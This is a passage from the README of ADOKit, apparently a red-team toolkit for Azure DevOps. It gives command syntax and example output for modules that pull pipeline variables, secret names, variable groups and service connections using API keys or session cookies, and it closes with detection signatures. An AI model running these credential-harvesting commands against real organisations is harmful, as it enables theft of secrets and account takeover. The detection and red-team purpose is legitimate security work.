ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
Example Output
C:\>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinevars
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/6/2023 12:08:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
-----------------------------------------------------------------------------------
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
Get Pipeline Secrets
Use Case
Extract the names of any pipeline secrets being used in project(s), which will direct the operator where to attempt to perform secret extraction.
Syntax
Provide the getpipelinesecrets module along with a /project: for a given project to extract the names of any pipeline secrets being used. If you would like to extract the names of pipeline secrets from all projects specify all in the /project: argument.
ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
Example Output
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
Get Variable Groups
Use Case
Extract any variable group and the corresponding variables being used in project(s), which could contain credentials or other useful information.
Syntax
Provide the getvariablegroups module along with a /project: for a given project to extract any variable groups being used. If you would like to extract variables groups from all projects specify all in the /project: argument.
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
Example Output
C:\>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
==================================================
Module: getvariablegroups
Auth Type: Cookie
Project: ADOKit
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 16/05/2024 16:53:31
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
--------------------------------------------------------------------------------------------------------------------
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
Get Service Connections
Use Case
List any service connections being used in project(s), which will direct the operator where to attempt to perform credential extraction for any service connections being used.
Syntax
Provide the getserviceconnections module along with a /project: for a given project to list any service connections being used. If you would like to list service connections being used from all projects specify all in the /project: argument.
ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"
Example Output
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
Detection
Below are static signatures for the specific usage of this tool in its default state:
- Project GUID -
{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}- See ADOKit Yara Rule in this repo.
- User Agent String -
ADOKit-21e233d4334f9703d1a3a42b6e2efd38- See ADOKit Snort Rule in this repo.
- Microsoft Sentinel Rules
ADOKitUsage.json- Detects the usage of ADOKit with any auditable event (e.g., adding a user to a group)PersistenceTechniqueWithADOKit.json- Detects the creation of a PAT or SSH key with ADOKit
For detection guidance of the techniques used by the tool, see the X-Force Red whitepaper.
Roadmap
- Support for Azure DevOps Server
References
https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops